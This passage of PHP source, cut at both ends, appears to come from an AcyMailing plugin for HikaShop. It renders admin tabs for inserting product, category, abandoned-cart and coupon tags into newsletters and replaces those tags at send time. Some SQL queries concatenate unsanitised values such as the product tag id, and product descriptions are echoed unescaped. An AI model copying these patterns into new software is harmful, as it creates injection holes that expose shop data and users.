			$rows = acymailing_search($pageInfo->search, $rows);
		}
		$this->db->setQuery('SELECT FOUND_ROWS()');
		$pageInfo->elements = new stdClass();
		$pageInfo->elements->total = $this->db->loadResult();
		$pageInfo->elements->page = count($rows);
		jimport('joomla.html.pagination');
		$pagination = new JPagination($pageInfo->elements->total,
$pageInfo->limit->start, $pageInfo->limit->value);
		$tabs = acymailing_get('helper.acytabs');
		echo $tabs->startPane('hikashop_tab');
		echo $tabs->startPanel(JText::_('PRODUCTS'),
'hikashop_product');
		?>
		<script language="javascript"
type="text/javascript">
			<!--
			var selectedContents = new Array();
			function applyContent(productid, rowClass){
				var tmp = selectedContents.indexOf(productid)
				if(tmp != -1){
					window.document.getElementById('content' +
productid).className = rowClass;
					delete selectedContents[tmp];
				}else{
					window.document.getElementById('content' +
productid).className = 'selectedrow';
					selectedContents.push(productid);
				}
				updateTagProd();
			}

			function updateTagProd(){
				var tag = '';
				var information = '';

				for(var i = 0; i < document.adminForm.contenttype.length; i++){
					if(document.adminForm.contenttype[i].checked){
						information += '| type:' +
document.adminForm.contenttype[i].value;
					}
				}

				for(i = 0; i < document.adminForm.pricedisplay.length; i++){
					if(document.adminForm.pricedisplay[i].checked){
						information += '| price:' +
document.adminForm.pricedisplay[i].value;
					}
				}

				if(window.document.getElementById('jflang') &&
window.document.getElementById('jflang').value != ''){
					information += '| lang:' +
window.document.getElementById('jflang').value;
				}

				for(var i in selectedContents){
					if(selectedContents[i] && !isNaN(i)){
						tag = tag + '{hikashop_product:' + selectedContents[i] +
information + '}<br />';
					}
				}

				setTag(tag);
			}
			//-->
		</script>
		<div class="onelineblockoptions">
			<table width="100%" class="acymailing_table">
				<tr>
					<td>
						<?php echo JText::_('DISPLAY'); ?>
					</td>
					<td>
						<?php echo JHTML::_('acyselect.radiolist', $contentType,
'contenttype', 'size="1"
onchange="updateTagProd();"', 'value',
'text', $pageInfo->contenttype); ?>
					</td>
					<td>
						<?php $jflanguages =
acymailing_get('type.jflanguages');
						$jflanguages->onclick = '
onchange="updateTagProd();" ';
						echo $jflanguages->display('lang', $pageInfo->lang);
?>
					</td>
				</tr>
				<tr>
					<td>
						<?php echo JText::_('PRICE'); ?>
					</td>
					<td colspan="2">
						<?php echo JHTML::_('acyselect.radiolist',
$priceDisplay, 'pricedisplay', 'size="1"
onchange="updateTagProd();"', 'value',
'text', $pageInfo->pricedisplay); ?>
					</td>
				</tr>
			</table>
		</div>
		<div class="onelineblockoptions">
			<table class="acymailing_table_options">
				<tr>
					<td>
						<?php acymailing_listingsearch($pageInfo->search); ?>
					</td>
				</tr>
			</table>
			<table class="acymailing_table" cellpadding="1"
width="100%">
				<thead>
				<tr>
					<th></th>
					<th class="title">
						<?php echo JHTML::_('grid.sort',
JText::_('HIKA_NAME'), 'a.product_name',
$pageInfo->filter->order->dir,
$pageInfo->filter->order->value); ?>
					</th>
					<th class="title">
						<?php echo JHTML::_('grid.sort',
JText::_('HIKA_DESCRIPTION'), 'a.product_description',
$pageInfo->filter->order->dir,
$pageInfo->filter->order->value); ?>
					</th>
					<th class="title titleid">
						<?php echo JHTML::_('grid.sort',
JText::_('ID'), 'a.product_id',
$pageInfo->filter->order->dir,
$pageInfo->filter->order->value); ?>
					</th>
				</tr>
				</thead>
				<tfoot>
				<tr>
					<td colspan="4">
						<?php echo $pagination->getListFooter(); ?>
						<?php echo $pagination->getResultsCounter(); ?>
					</td>
				</tr>
				</tfoot>
				<tbody>
				<?php
				$k = 0;
				for($i = 0, $a = count($rows); $i < $a; $i++){
					$row =& $rows[$i];
					?>
					<tr id="content<?php echo $row->product_id ?>"
class="<?php echo "row$k"; ?>"
onclick="applyContent(<?php echo $row->product_id;
?>,'<?php echo "row$k"; ?>');"
style="cursor:pointer;">
						<td class="acytdcheckbox"></td>
						<td>
							<?php
							echo acymailing_tooltip('CODE : '.$row->product_code,
$row->product_name, '', $row->product_name);
							?>
						</td>
						<td>
							<?php
							echo $row->product_description;
							?>
						</td>
						<td class="hk_center">
							<?php echo $row->product_id; ?>
						</td>
					</tr>
					<?php
					$k = 1 - $k;
				}
				?>
				</tbody>
			</table>
		</div>
		<input type="hidden" name="boxchecked"
value="0"/>
		<input type="hidden" name="filter_order"
value="<?php echo $pageInfo->filter->order->value;
?>"/>
		<input type="hidden" name="filter_order_Dir"
value="<?php echo $pageInfo->filter->order->dir;
?>"/>
		<?php
		echo $tabs->endPanel();
		echo $tabs->startPanel(JText::_('HIKA_CATEGORIES'),
'hikashop_auto');
		$type =
JFactory::getApplication()->input->getString('type');
		$this->db->setQuery('SELECT * FROM
'.acymailing_table('hikashop_category', false).' WHERE
category_type=\'product\' ORDER BY `category_ordering`
ASC');
		$categories = $this->db->loadObjectList('category_id');
		$this->cats = array();
		foreach($categories as $oneCat){
			$this->cats[$oneCat->category_parent_id][] = $oneCat;
		}
		$catClass = hikashop_get('class.category');
		$root = $catClass->getRoot();
		?>
		<script language="javascript"
type="text/javascript">
			<!--
			var selectedCat = new Array();
			function applyAutoProduct(catid, rowClass){
				if(catid == 'all'){
					if(window.document.getElementById('product_cat' +
catid).className == 'selectedrow'){
						window.document.getElementById('product_catall').className
= rowClass;
					}else{
						window.document.getElementById('product_cat' +
catid).className = 'selectedrow';
						for(var key in selectedCat){
							if(!isNaN(key)){
								window.document.getElementById('product_cat' +
key).className = rowClass;
								delete selectedCat[key];
							}
						}
					}
				}else{
					window.document.getElementById('product_catall').className =
'row0';
					if(selectedCat[catid]){
						window.document.getElementById('product_cat' +
catid).className = rowClass;
						delete selectedCat[catid];
					}else{
						window.document.getElementById('product_cat' +
catid).className = 'selectedrow';
						selectedCat[catid] = 'product';
					}
				}
				updateTagAuto();
			}

			function updateTagAuto(){
				var tag = '{hikashop_auto_product:';
				for(var icat in selectedCat){
					if(selectedCat[icat] == 'product'){
						tag += icat + '-';
					}
				}
				for(var i = 0; i < document.adminForm.contenttypeauto.length; i++){
					if(document.adminForm.contenttypeauto[i].checked){
						tag += '| type:' +
document.adminForm.contenttypeauto[i].value;
					}
				}


				if(document.adminForm.min_article &&
document.adminForm.min_article.value &&
document.adminForm.min_article.value != 0){
					tag += '| min:' + document.adminForm.min_article.value;
				}
				if(document.adminForm.max_article.value &&
document.adminForm.max_article.value != 0){
					tag += '| max:' + document.adminForm.max_article.value;
				}
				if(document.adminForm.contentorder.value){
					tag += "| order:" + document.adminForm.contentorder.value +
"," + document.adminForm.contentorderdir.value;
				}
				if(document.adminForm.contentfilter &&
document.adminForm.contentfilter.value){
					tag += '| filter:' +
document.adminForm.contentfilter.value;
				}
				if(window.document.getElementById('jflang_auto') &&
window.document.getElementById('jflang_auto').value !=
''){
					tag += '| lang:' +
window.document.getElementById('jflang_auto').value;
				}
				for(i = 0; i < document.adminForm.pricedisplayauto.length; i++){
					if(document.adminForm.pricedisplayauto[i].checked){
						tag += '| price:' +
document.adminForm.pricedisplayauto[i].value;
					}
				}

				tag += '}';
				setTag(tag);
			}
			//-->
		</script>
		<div class="onelineblockoptions">
			<table width="100%" class="acymailing_table">
				<tr>
					<td>
						<?php echo JText::_('DISPLAY'); ?>
					</td>
					<td colspan="2">
						<?php echo JHTML::_('acyselect.radiolist', $contentType,
'contenttypeauto', 'size="1"
onclick="updateTagAuto();"', 'value',
'text', 'full'); ?>
					</td>
					<td>
						<?php $jflanguages =
acymailing_get('type.jflanguages');
						if(!empty($jflanguages->values)){
							$jflanguages->id = 'jflang_auto';
							$jflanguages->onclick =
'onchange="updateTagAuto();"';
							echo $jflanguages->display('language');
						} ?>
					</td>
				</tr>
				<tr>
					<td>
						<?php echo JText::_('PRICE'); ?>
					</td>
					<td colspan="3">
						<?php echo JHTML::_('acyselect.radiolist',
$priceDisplay, 'pricedisplayauto', 'size="1"
onclick="updateTagAuto();"', 'value',
'text', 'full'); ?>
					</td>
				</tr>
				<tr>
					<td>
						<label for="max_article"><?php echo
JText::_('MAX_ARTICLE'); ?></label>
					</td>
					<td>
						<input type="text" name="max_article"
id="max_article" style="width:50px" value=""
onchange="updateTagAuto();"/>
					</td>
					<td>
						<?php echo JText::_('ACY_ORDER'); ?>
					</td>
					<td>
						<?php
						$values = array('product_id' => 'ACY_ID',
'product_created' => 'CREATED_DATE',
'product_modified' => 'MODIFIED_DATE',
'product_name' => 'HIKA_TITLE');
						echo $this->acypluginsHelper->getOrderingField($values,
'product_id', 'DESC');
						?>
					</td>
				</tr>
				<?php if($type == 'autonews'){ ?>
					<tr>
						<td>
							<label for="min_article"><?php echo
JText::_('MIN_ARTICLE'); ?></label>
						</td>
						<td>
							<input type="text" name="min_article"
id="min_article" style="width:50px" value="1"
onchange="updateTagAuto();"/>
						</td>
						<td>
							<?php echo JText::_('FILTER'); ?>
						</td>
						<td>
							<?php $filter = acymailing_get('type.contentfilter');
							$filter->onclick = 'updateTagAuto();';
							echo $filter->display('contentfilter',
'created', false); ?>
						</td>
					</tr>
				<?php } ?>
			</table>
		</div>
		<div class="onelineblockoptions">
			<table class="acymailing_table" cellpadding="1"
width="100%">
				<tr id="product_catall" class="<?php echo
"row0"; ?>"
onclick="applyAutoProduct('all','<?php echo
"row$k" ?>');"
style="cursor:pointer;">
					<td class="acytdcheckbox"></td>
					<td><?php echo JText::_('ACY_ALL');
?></td>
				</tr>
				<?php $k = 0;
				echo $this->displayChildren($root, $k); ?>
			</table>
		</div>
		<?php
		echo $tabs->endPanel();
		echo $tabs->startPanel(JText::_('HIKA_ABANDONED_CART'),
'hikashop_abandonedcart');
		?>
		<script language="javascript"
type="text/javascript">
			<!--
			function updateTagCart(){
				var tag = '{hikashop_abandonedcart:';
				for(var icat in selectedCat){
					if(selectedCat[icat] == 'product'){
						tag += icat + '-';
					}
				}
				for(var i = 0; i < document.adminForm.contenttypecart.length; i++){
					if(document.adminForm.contenttypecart[i].checked){
						tag += '| type:' +
document.adminForm.contenttypecart[i].value;
					}
				}
				if(window.document.getElementById('jflang_cart') &&
window.document.getElementById('jflang_cart').value !=
''){
					tag += '| lang:' +
window.document.getElementById('jflang_cart').value;
				}
				if(window.document.getElementById('nbdayscart') &&
window.document.getElementById('nbdayscart').value !=
''){
					tag += '| nbdayscart:' +
window.document.getElementById('nbdayscart').value;
				}
				if(document.adminForm.paymentcart.value != ''){
					tag += '| paymentcart:' +
document.adminForm.paymentcart.value;
				}
				tag += '}';
				setTag(tag);
			}
			//-->
		</script>
		<div class="onelineblockoptions">
			<table width="100%" class="acymailing_table">
				<tr>
					<td>
						<?php echo JText::_('DISPLAY'); ?>
					</td>
					<td colspan="2">
						<?php echo JHTML::_('acyselect.radiolist', $contentType,
'contenttypecart', 'size="1"
onclick="updateTagCart();"', 'value',
'text', 'full'); ?>
					</td>
					<td>
						<?php $jflanguages =
acymailing_get('type.jflanguages');
						if(!empty($jflanguages->values)){
							$jflanguages->id = 'jflang_cart';
							$jflanguages->onclick =
'onchange="updateTagCart();"';
							echo $jflanguages->display('language');
						} ?>
					</td>
				</tr>
				<tr>
					<td>
						<?php echo JText::sprintf('DAYS_AFTER_ORDERING',
'<input class="inputbox" type="text"
id="nbdayscart" name="nbdayscart"
style="width:50px" value="1"
onchange="updateTagCart()" />'); ?>
					</td>
					<td colspan="3">
						<?php
						$payment = hikashop_get('type.payment');
						$payment->extra =
'onchange="updateTagCart()"';
						echo $payment->display("paymentcart", '',
false); ?>
					</td>
				</tr>
			</table>
		</div>
		<?php
		echo $tabs->endPanel();
		echo $tabs->startPanel(JText::_('COUPONS'),
'hikashop_coupon');
		$currency = hikashop_get('type.currency');
		$config =& hikashop_config();
		?>
		<script language="javascript"
type="text/javascript">
			<!--
			function updateTag(){
				var tagname = document.adminForm.minimum_order.value + '|';
				tagname += document.adminForm.quota.value + '|';
				tagname += document.adminForm.start.value + '|';
				tagname += document.adminForm.end.value + '|';
				tagname += document.adminForm.percent_amount.value + '|';
				tagname += document.adminForm.flat_amount.value + '|';
				tagname += document.adminForm.currency_id.value + '|';
				tagname += document.adminForm.coupon_code.value + '|';
				tagname += document.adminForm.product_id.value + '|';
				tagname += document.adminForm.tax_id.value + '|';
				tagname += document.adminForm.validity_period.value;
				setTag('{hikashop_coupon:' + tagname + '}');
			}
			//-->
		</script>
		<div class="onelineblockoptions">
			<table style="width:100%;">
				<tr>
					<td style="width:50%;">
						<table class="acymailing_table"
style="margin:auto">
							<tr>
								<td class="acykey">
									<label for="coupon_code">
										<?php echo JText::_('DISCOUNT_CODE'); ?>
									</label>
								</td>
								<td>
									<input type="text" id="coupon_code"
onchange="updateTag();"
value="[name][key][value]"/>
								</td>
							</tr>
							<tr>
								<td class="acykey">
									<label for="flat_amount">
										<?php echo JText::_('DISCOUNT_FLAT_AMOUNT'); ?>
									</label>
								</td>
								<td>
									<input style="width:50px;" type="text"
id="flat_amount" onchange="updateTag();"
value="0"/><?php echo
$currency->display('currency_id',
(int)$config->get('main_currency'), '
style="width:100px;" '); ?>
								</td>
							</tr>
							<tr>
								<td class="acykey">
									<label for="percent_amount">
										<?php echo JText::_('DISCOUNT_PERCENT_AMOUNT');
?>
									</label>
								</td>
								<td>
									<input style="width:50px;" type="text"
id="percent_amount" onchange="updateTag();"
value="0"/>
								</td>
							</tr>
						</table>
					</td>
					<td>
						<table class="acymailing_table"
style="margin:auto">
							<tr>
								<td class="acykey">
									<label for="start">
										<?php echo JText::_('DISCOUNT_START_DATE'); ?>
									</label>
								</td>
								<td>
									<?php echo JHTML::_('calendar', '',
'start', 'start', '%Y-%m-%d %H:%M',
array('style' => 'width:100px', 'onchange'
=> 'updateTag();')); ?>
								</td>
							</tr>
							<tr>
								<td class="acykey">
									<label for="end">
										<?php echo JText::_('DISCOUNT_END_DATE'); ?>
									</label>
								</td>
								<td>
									<?php echo JHTML::_('calendar', '',
'end', 'end', '%Y-%m-%d %H:%M',
array('style' => 'width:100px', 'onchange'
=> 'updateTag();')); ?>
								</td>
							</tr>
							<tr>
								<td class="acykey">
									<label for="validity_period">
										<?php echo JText::_('VALIDITY_PERIOD'); ?>
									</label>
								</td>
								<td>
									<input style="width:60px;" type="text"
id="validity_period" onchange="updateTag();"
value="" placeholder="<?php echo
JText::_('HIKA_UNLIMITED'); ?>"/> <?php echo
JText::_('DAYS'); ?>
								</td>
							</tr>
							<?php if(hikashop_level(1)){ ?>
								<tr>
									<td class="acykey">
										<label for="minimum_order">
											<?php echo JText::_('MINIMUM_ORDER_VALUE'); ?>
										</label>
									</td>
									<td>
										<input style="width:50px;" type="text"
id="minimum_order" value="0"
onchange="updateTag();"/>
									</td>
								</tr>
								<tr>
									<td class="acykey">
										<label for="quota">
											<?php echo JText::_('DISCOUNT_QUOTA'); ?>
										</label>
									</td>
									<td>
										<input style="width:50px;" type="text"
id="quota" value=""
onchange="updateTag();"/>
									</td>
								</tr>
								<tr>
									<td class="acykey">
										<label for="product_id">
											<?php echo JText::_('PRODUCT'); ?>
										</label>
									</td>
									<td>
										<?php
										$this->db->setQuery("SELECT `product_id`,
CONCAT(product_name,' ( ',product_code,' )') as `title`
FROM #__hikashop_product WHERE `product_type`='main' AND
`product_published`=1  ORDER BY `product_code` ASC");
										$results = $this->db->loadObjectList();
										$obj = new stdClass();
										$obj->product_id = '';
										$obj->title = JText::_('HIKA_NONE');
										array_unshift($results, $obj);
										echo JHTML::_('select.genericlist', $results,
'product_id', 'size="1"
style="width:150px;"  onchange="updateTag();"',
'product_id', 'title', '');
										?>
									</td>
								</tr>
								<tr>
									<td class="acykey">
										<label for="tax_id">
											<?php echo JText::_('TAXATION_CATEGORY'); ?>
										</label>
									</td>
									<td>
										<?php
										$categoryType = hikashop_get('type.categorysub');
										$categoryType->type = 'tax';
										$categoryType->field = 'category_id';
										echo $categoryType->display('', '',
'onchange="updateTag();"', true, 'tax_id');
										?>
									</td>
								</tr>
							<?php }else{ ?>
								<tr>
									<td>
										<input type="hidden" id="minimum_order"
value="0"/>
										<input type="hidden" id="quota"
value=""/>
									</td>
								</tr>
							<?php } ?>
						</table>
					</td>
				</tr>
			</table>
		</div>
		<?php
		echo $tabs->endPanel();
		echo $tabs->endPane();
	}

	function displayChildren($parentid, &$k, $level = 0){
		if(empty($this->cats[$parentid])) return;
		foreach($this->cats[$parentid] as $oneCat){
			$k = 1 - $k;
			echo '<tr
id="product_cat'.$oneCat->category_id.'"
class="row'.$k.'"
onclick="applyAutoProduct('.$oneCat->category_id.',\'row'.$k.'\');"
style="cursor:pointer;"><td
class="acytdcheckbox"></td><td>';
			echo str_repeat('- - ',
$level).$oneCat->category_name.'</td></tr>';
			$this->displayChildren($oneCat->category_id, $k, $level + 1);
		}
	}

	function acymailing_replacetags(&$email){
		if(!$this->loadAcymailing()) return;
		$this->_replaceAuto($email);
		$this->_replaceProducts($email);
	}

	function acymailing_replaceusertags(&$email, &$user, $send =
true){
		if(!$this->loadAcymailing()) return;

		$this->_replaceCoupons($email, $user, $send);
		$this->_replaceAbandonedCarts($email, $user);
	}

	function _replaceAbandonedCarts(&$email, &$user, $send = true){
		$tags = $this->acypluginsHelper->extractTags($email,
'hikashop_abandonedcart');
		if(empty($tags)) return;

		$tagsReplaced = array();
		foreach($tags as $i => $oneTag){
			if(isset($tagsReplaced[$i])) continue;
			$tagsReplaced[$i] = $this->_replaceAbandonedCart($oneTag, $user);
		}

		$this->acypluginsHelper->replaceTags($email, $tagsReplaced, true);

		$this->_replaceProducts($email);
	}

	function _replaceAbandonedCart($oneTag, $user){
		if(empty($user->userid)) return '';

		$delay = 0;
		if(!empty($oneTag->nbdayscart)){
			$delay = ($oneTag->nbdayscart * 86400);
		}

		$senddate = (time() - $delay);

		$config =& hikashop_config();
		$createdstatus = $config->get('order_created_status',
'created');

		$myquery = 'SELECT c.product_id
					FROM #__hikashop_order AS a
					LEFT JOIN #__hikashop_order AS b
						ON a.order_user_id = b.order_user_id
						AND b.order_id > a.order_id
					JOIN #__hikashop_order_product AS c
						ON a.order_id = c.order_id
					JOIN #__hikashop_user AS hikauser
						ON a.order_user_id = hikauser.user_id ';

		if(!empty($oneTag->paymentcart)) $myquery .= 'JOIN
#__hikashop_payment AS payment
														ON payment.payment_type = a.order_payment_method
														AND payment.payment_id =
'.intval($oneTag->paymentcart);

		$myquery .= ' WHERE hikauser.user_cms_id =
'.intval($user->userid).' AND a.order_status =
'.$this->db->Quote($createdstatus).' AND b.order_id IS NULL
';
		$myquery .= ' AND FROM_UNIXTIME(a.order_created,"%Y %d
%m") = FROM_UNIXTIME('.$senddate.',"%Y %d
%m")';
		$this->db->setQuery($myquery);

		$Products = acymailing_loadResultArray($this->db);
		if(empty($Products)) return '';

		$arrayElements = array();
		foreach($Products as $oneProductId){
			$args = array();
			$args[] = 'hikashop_product:'.$oneProductId;
			if(!empty($oneTag->type)) $args[] =
'type:'.$oneTag->type;
			if(!empty($oneTag->lang)) $args[] =
'lang:'.$oneTag->lang;
			$arrayElements[] = '{'.implode('|',
$args).'}';
		}
		$stringTag =
$this->acypluginsHelper->getFormattedResult($arrayElements,
$oneTag);
		return $stringTag;
	}

	function _replaceCoupons(&$email, &$user, $send = true){
		$results = array();
		$match = '#{hikashop_coupon:(.*)}#Ui';
		$variables = array('subject', 'body',
'altbody');
		$found = false;
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$found = preg_match_all($match, $email->$var, $results[$var]) ||
$found;
			if(empty($results[$var][0])) unset($results[$var]);
		}
		if(!$found) return;
		$tags = array();
		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				if(isset($tags[$oneTag])) continue;
				if(!$send || empty($user->subid)){
					$tags[$oneTag] =
'<i>'.JText::_('ACY_CHECK_EMAIL_COUPON').'</i>';
				}else{
					$tags[$oneTag] = $this->generateCoupon($allresults, $i, $user);
				}
			}
		}

		foreach(array_keys($results) as $var){
			$email->$var = str_replace(array_keys($tags), $tags,
$email->$var);
		}
	}

	function _replaceAuto(&$email){
		$this->acymailing_generateautonews($email);
		if(empty($this->tags)) return;
		$this->acypluginsHelper->replaceTags($email, $this->tags,
true);
	}

	function acymailing_generateautonews(&$email){
		$tags = $this->acypluginsHelper->extractTags($email,
'hikashop_auto_product');
		$return = new stdClass();
		$return->status = true;
		$return->message = '';
		$this->tags = array();

		if(empty($tags)) return $return;

		foreach($tags as $oneTag => $parameter){
			if(isset($this->tags[$oneTag])) continue;
			$allcats = explode('-', $parameter->id);
			$selectedArea = array();
			foreach($allcats as $oneCat){
				if(empty($oneCat)) continue;
				$selectedArea[] = intval($oneCat);
			}

			$query = 'SELECT DISTINCT b.`product_id` FROM
'.acymailing_table('hikashop_product_category',
false).' as a LEFT JOIN
'.acymailing_table('hikashop_product', false).' as b ON
a.product_id = b.product_id';
			$where = array();
			if($this->params->get('stock', 0) == '1')
$where[] = '(b.product_quantity = -1 || b.product_quantity >
0)';
			if(!empty($selectedArea)){
				$where[] = 'a.category_id IN ('.implode(',',
$selectedArea).')';
			}
			$where[] = "b.`product_published` = 1";
			if(!empty($parameter->filter) AND
!empty($email->params['lastgenerateddate'])){
				$condition = 'b.`product_created`
>\''.$email->params['lastgenerateddate'].'\'';
				if($parameter->filter == 'modify'){
					$condition .= ' OR b.`product_modified`
>\''.$email->params['lastgenerateddate'].'\'';
				}
				$where[] = $condition;
			}
			$query .= ' WHERE ('.implode(') AND (',
$where).')';
			if(!empty($parameter->order)){
				$ordering = explode(',', $parameter->order);
				if($ordering[0] == 'rand'){
					$query .= ' ORDER BY rand()';
				}else{
					$query .= ' ORDER BY
b.`'.acymailing_secureField(trim($ordering[0])).'`
'.acymailing_secureField(trim($ordering[1]));
				}
			}
			if(!empty($parameter->max)) $query .= ' LIMIT
'.(int)$parameter->max;
			$this->db->setQuery($query);
			$allArticles = acymailing_loadResultArray($this->db);

			if(!empty($parameter->min) && count($allArticles) <
$parameter->min){
				$return->status = false;
				$return->message = 'Not enough products for the tag
'.$oneTag.' : '.count($allArticles).' /
'.$parameter->min;
			}

			$stringTag = '';
			if(!empty($allArticles)){
				if(file_exists(ACYMAILING_TEMPLATE.'plugins'.DS.'hikashop_auto_product.php')){
					ob_start();
					require(ACYMAILING_TEMPLATE.'plugins'.DS.'hikashop_auto_product.php');
					$stringTag = ob_get_clean();
				}else{
					$arrayElements = array();
					foreach($allArticles as $oneArticleId){
						$args = array();
						$args[] = 'hikashop_product:'.$oneArticleId;
						if(!empty($parameter->type)) $args[] =
'type:'.$parameter->type;
						if(!empty($parameter->lang)) $args[] =
'lang:'.$parameter->lang;
						if(!empty($parameter->price)) $args[] =
'price:'.$parameter->price;
						$arrayElements[] = '{'.implode('|',
$args).'}';
					}
					$stringTag =
$this->acypluginsHelper->getFormattedResult($arrayElements,
$parameter);

				}
			}
			$this->tags[$oneTag] = $stringTag;
		}
		return $return;
	}

	private function _replaceProducts(&$email){

		$tags = $this->acypluginsHelper->extractTags($email,
'hikashop_product');
		if(empty($tags)) return;

		$this->readmore = empty($email->template->readmore) ?
JText::_('JOOMEXT_READ_MORE') : '<img
src="'.ACYMAILING_LIVE.$email->template->readmore.'"
alt="'.JText::_('JOOMEXT_READ_MORE', true).'"
/>';

		$tagsReplaced = array();
		foreach($tags as $i => $oneTag){
			if(isset($tagsReplaced[$i])) continue;
			$tagsReplaced[$i] = $this->_replaceProduct($oneTag, $email);
		}

		$this->acypluginsHelper->replaceTags($email, $tagsReplaced, true);
	}

	function _replaceProduct($tag, &$email){
		if(empty($tag->lang) && !empty($email->language))
$tag->lang = $email->language;
		$this->db->setQuery('SELECT b.*,a.*
						FROM '.acymailing_table('hikashop_product',
false).' as a
						LEFT JOIN '.acymailing_table('hikashop_file',
false).' as b ON a.product_id=b.file_ref_id AND
file_type=\'product\'
						WHERE a.product_id = '.$tag->id.'
						ORDER BY b.file_ordering ASC, b.file_id ASC
						LIMIT 1');
		$product = $this->db->loadObject();
		if(empty($product)){
			$app = JFactory::getApplication();
			$j = new JVersion(); $version=substr($j->getShortVersion(), 0,1);
			if($version < 4) {
				if($app->isAdmin()) $app->enqueueMessage('The product
"'.$tag->id.'" could not be loaded',
'notice');
			}else{
				if($app->isClient('administrator'))
$app->enqueueMessage('The product
"'.$tag->id.'" could not be loaded',
'notice');
			}
			return '';
		}

		if($product->product_type == 'variant'){
			$this->db->setQuery('SELECT * FROM
'.hikashop_table('variant').' AS a LEFT JOIN
'.hikashop_table('characteristic').' AS b ON
a.variant_characteristic_id=b.characteristic_id WHERE
a.variant_product_id='.(int)$tag->id.' ORDER BY
a.ordering');
			$product->characteristics = $this->db->loadObjectList();
			$productClass = hikashop_get('class.product');
			$this->db->setQuery('SELECT b.*,a.*
							FROM '.acymailing_table('hikashop_product',
false).' as a
							LEFT JOIN '.acymailing_table('hikashop_file',
false).' as b ON a.product_id=b.file_ref_id AND
file_type=\'product\'
							WHERE a.product_id =
'.(int)$product->product_parent_id.'
							ORDER BY b.file_ordering ASC, b.file_id ASC
							LIMIT 1');
			$parentProduct = $this->db->loadObject();
			$productClass->checkVariant($product, $parentProduct);
		}

		$translationHelper = hikashop_get('helper.translation');
		if($translationHelper->isMulti(true, false))
$this->acypluginsHelper->translateItem($product, $tag,
'hikashop_product');

		$varFields = array();
		foreach($product as $fieldName => $oneField){
			$varFields['{'.$fieldName.'}'] = $oneField;
		}

		$tag->itemid = intval($this->params->get('itemid'));
		$config =& hikashop_config();
		$currencyClass = hikashop_get('class.currency');
		$main_currency = $currency_id =
(int)$config->get('main_currency', 1);
		$zone_id = explode(',',
$config->get('main_tax_zone', 0));

		$zone_id = count($zone_id) ? array_shift($zone_id) : 0;

		$ids = array($product->product_id);
		$discount_before_tax =
(int)$config->get('discount_before_tax', 0);
		$currencyClass->getPrices($product, $ids, $currency_id,
$main_currency, $zone_id, $discount_before_tax);
		$finalPrice = '';
		if(empty($tag->price) || $tag->price == 'full'){
			if($this->params->get('vat', 1)){
				$finalPrice =
@$currencyClass->format($product->prices[0]->price_value_with_tax,
$product->prices[0]->price_currency_id);
			}else{
				$finalPrice =
$currencyClass->format($product->prices[0]->price_value,
$product->prices[0]->price_currency_id);
			}
			if(!empty($product->discount)){
				if($this->params->get('vat', 1)){
					$finalPrice =
'<strike>'.$currencyClass->format($product->prices[0]->price_value_without_discount_with_tax,
$product->prices[0]->price_currency_id).'</strike>
'.$finalPrice;
				}else{
					$finalPrice =
'<strike>'.$currencyClass->format($product->prices[0]->price_value_without_discount,
$product->prices[0]->price_currency_id).'</strike>
'.$finalPrice;
				}
			}
		}elseif($tag->price == 'no_discount'){
			if($this->params->get('vat', 1)){
				$finalPrice =
$currencyClass->format($product->prices[0]->price_value_without_discount_with_tax,
$product->prices[0]->price_currency_id);
			}else{
				$finalPrice =
$currencyClass->format($product->prices[0]->price_value_without_discount,
$product->prices[0]->price_currency_id);
			}
		}
		$varFields['{finalPrice}'] = $finalPrice;

		if(empty($tag->type) || $tag->type == 'full'){
			$description = $product->product_description;
		}else{
			$pos = strpos($product->product_description, '<hr
id="system-readmore"');
			if($pos !== false){
				$description = substr($product->product_description, 0, $pos);
			}else{
				$description = substr($product->product_description, 0,
100).'...';
			}
		}

		$link =
'index.php?option=com_hikashop&ctrl=product&task=show&cid='.$product->product_id;
		if(!empty($tag->lang)) $link .=
'&lang='.substr($tag->lang, 0, strpos($tag->lang,
','));
		if(!empty($tag->itemid)) $link .=
'&Itemid='.$tag->itemid;
		if(!empty($product->product_canonical)) $link =
$product->product_canonical;
		$link = acymailing_frontendLink($link);
		$varFields['{link}'] = $link;

		$image = hikashop_get('helper.image');
		if(!empty($product->file_path)) {
			$img = $image->getThumbnail($product->file_path, null);
			if($img->success)
				$varFields['{pictHTML}'] = $img->url;
			else
				$varFields['{pictHTML}'] =
$image->display($product->file_path, false,
$product->product_name);
		}

		if(file_exists(ACYMAILING_MEDIA.'plugins'.DS.'hikashop_product.php')){
			ob_start();
			require(ACYMAILING_MEDIA.'plugins'.DS.'hikashop_product.php');
			$result = ob_get_clean();
			$result = str_replace(array_keys($varFields), $varFields, $result);
			return $result;
		}

		$result = '';
		$astyle = '';

		if(empty($tag->type) || $tag->type != 'title'){
			$result .= '<div
class="acymailing_product">';
			$astyle = 'style="text-decoration:none;"
name="product-'.$product->product_id.'"';
		}

		$result .= '<a '.$astyle.' target="_blank"
href="'.$link.'">';
		if(empty($tag->type) || $tag->type != 'title') $result .=
'<h2 class="acymailing_title">';
		$result .= $product->product_name;
		if(!empty($finalPrice)) $result .=
'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'.$finalPrice;
		if(empty($tag->type) || $tag->type != 'title') $result .=
'</h2>';
		$result .= '</a>';
		if(empty($tag->type) || $tag->type != 'title'){
			if(!empty($product->file_path)){
				$config =& hikashop_config();
				$uploadFolder =
ltrim(JPath::clean(html_entity_decode($config->get('uploadfolder'))),
DS);
				$uploadFolder = rtrim($uploadFolder, DS).DS;
				$image->uploadFolder_url = str_replace(DS, '/',
$uploadFolder);
				$image->uploadFolder_url =
ACYMAILING_LIVE.$image->uploadFolder_url;
				$pictureHTML = $image->display($product->file_path, false,
$product->product_name, '', '',
$config->get('thumbnail_x', 100),
$config->get('thumbnail_y', 100));
				$pictureHTML = '<a target="_blank"
style="text-decoration:none;border:0"
href="'.$link.'"
>'.$pictureHTML.'</a>';
				$result .= '<table
class="acymailing_content"><tr><td
valign="top"
style="padding-right:5px">'.$pictureHTML.'</td><td>'.$description.'</td></tr></table>';
			}else{
				$result .= $description;
			}
		}
		if(empty($tag->type) || $tag->type != 'title') $result .=
'</div>';

		$result = $this->acypluginsHelper->removeJS($result);

		return $result;
	}

	function generateCoupon(&$allresults, $i, &$user){

		list($minimum_order, $quota, $start, $end, $percent_amount, $flat_amount,
$currency_id, $code, $product_id, $tax_id, $validity_period) =
explode('|', $allresults[1][$i]);
		jimport('joomla.user.helper');
